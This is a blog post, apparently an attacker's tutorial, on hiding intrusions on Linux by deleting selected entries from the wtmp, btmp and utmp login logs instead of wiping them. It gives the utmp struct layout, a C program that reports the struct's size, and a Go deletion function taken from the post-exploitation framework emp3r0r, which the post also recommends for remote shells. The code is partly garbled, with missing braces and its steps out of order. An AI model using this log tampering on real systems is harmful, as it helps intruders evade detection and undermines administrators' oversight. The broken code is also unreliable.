Stop Deleting Everything!

many folks like to rm -f /var/log/*tmp, which I have to say is not a right way to cover your trail, if the admin would ever think of checking login logs, an empty log will certainly catch his attention

but *tmp files are all binary, how do we modify them?

We don't need to know its format (mostly)

if you man wtmp, you will see how the *tmp files are constructed, but thats not what we need

 struct utmp {
               short   ut_type;              /* Type of record */
               pid_t   ut_pid;               /* PID of login process */
               char    ut_line[UT_LINESIZE]; /* Device name of tty - "/dev/" */
               char    ut_id[4];             /* Terminal name suffix,
                                                or inittab(5) ID */
               char    ut_user[UT_NAMESIZE]; /* Username */
               char    ut_host[UT_HOSTSIZE]; /* Hostname for remote login, or
                                                kernel version for run-level
                                                messages */
               struct  exit_status ut_exit;  /* Exit status of a process
                                                marked as DEAD_PROCESS; not
                                                used by Linux init (1 */
               /* The ut_session and ut_tv fields must be the same size when
                  compiled 32- and 64-bit.  This allows data files and shared
                  memory to be shared between 32- and 64-bit applications. */
           #if __WORDSIZE == 64 && defined __WORDSIZE_COMPAT32
               int32_t ut_session;           /* Session ID (getsid(2)),
                                                used for windowing */
               struct {
                   int32_t tv_sec;           /* Seconds */
                   int32_t tv_usec;          /* Microseconds */
               } ut_tv;                      /* Time entry was made */
                long   ut_session;           /* Session ID */
                struct timeval ut_tv;        /* Time entry was made */

               int32_t ut_addr_v6[4];        /* Internet address of remote
                                                host; IPv4 address uses
                                                just ut_addr_v6[0] */
               char __unused[20];            /* Reserved for future use */

so this piece of code represents a utmp entry in linux, what we want to do is simply delete an entry, what do we need?

the struct size of course (its machine dependent, but considering most targets run x86_64...)

how do we calculate the size?

#include <stdio.h>
#include <utmp.h>

int main(void)
    struct utmp xtmp;
    printf("size of utmp struct: %d\n", sizeof(xtmp));
    return 0;


its 384 bytes indeed

if we open a random wtmp file, we can confirm a single entry takes 384 bytes of space (x86_64):

wtmp hex


open the file then read all data, slice it to several byte array of 384 bytes, each array represents an entry.

its the same as editing text files

the following code is from emp3r0r

you can also use emp3r0r to do other post-exploitation work such as remote shell and port mapping on linux targets

// deleteXtmpEntry delete a wtmp/utmp/btmp entry containing keyword
func deleteXtmpEntry(keyword string) (err error) {
    delete := func(path string) (err error) {
        var (
            offset      = 0
            newFileData []byte
        xtmpf, err := os.Open(path)
        if err != nil {
            return fmt.Errorf("Failed to open xtmp: %v", err)
        defer xtmpf.Close()
        xmtpData, err := ioutil.ReadFile(path)
        if err != nil {
            return fmt.Errorf("Failed to read xtmp: %v", err)

        // back up xtmp file
        err = ioutil.WriteFile(path+".bak", xmtpData, 0664)
        if err != nil {
            return fmt.Errorf("Failed to backup %s: %v", path, err)

        for offset < len(xmtpData) {
            buf := xmtpData[offset:(offset + 384)]
            if strings.Contains(string(buf), keyword) {
                offset += 384
            newFileData = append(newFileData, buf...)
            offset += 384

        // save new file as xtmp.tmp, users need to rename it manually, in case the file is corrupted
        newXtmp, err := os.OpenFile(path+".tmp", os.O_CREATE|os.O_RDWR, 0664)
        if err != nil {
            return fmt.Errorf("Failed to open temp xtmp: %v", err)
        defer newXtmp.Close()
        err = os.Rename(path+".tmp", path)
        if err != nil {
            return fmt.Errorf("Failed to replace %s: %v", path, err)

        _, err = newXtmp.Write(newFileData)
        return err

    err = nil
    xtmpFiles := []string{"/var/log/wtmp", "/var/log/btmp", "/var/log/utmp"}
    for _, xtmp := range xtmpFiles {
        if IsFileExist(xtmp) {
            e := delete(xtmp)
            if e != nil {
                if err != nil {
                    err = fmt.Errorf("DeleteXtmpEntry: %v, %v", err, e)
                } else {
                    err = fmt.Errorf("DeleteXtmpEntry: %v", e)
    return err


comments powered by Disqus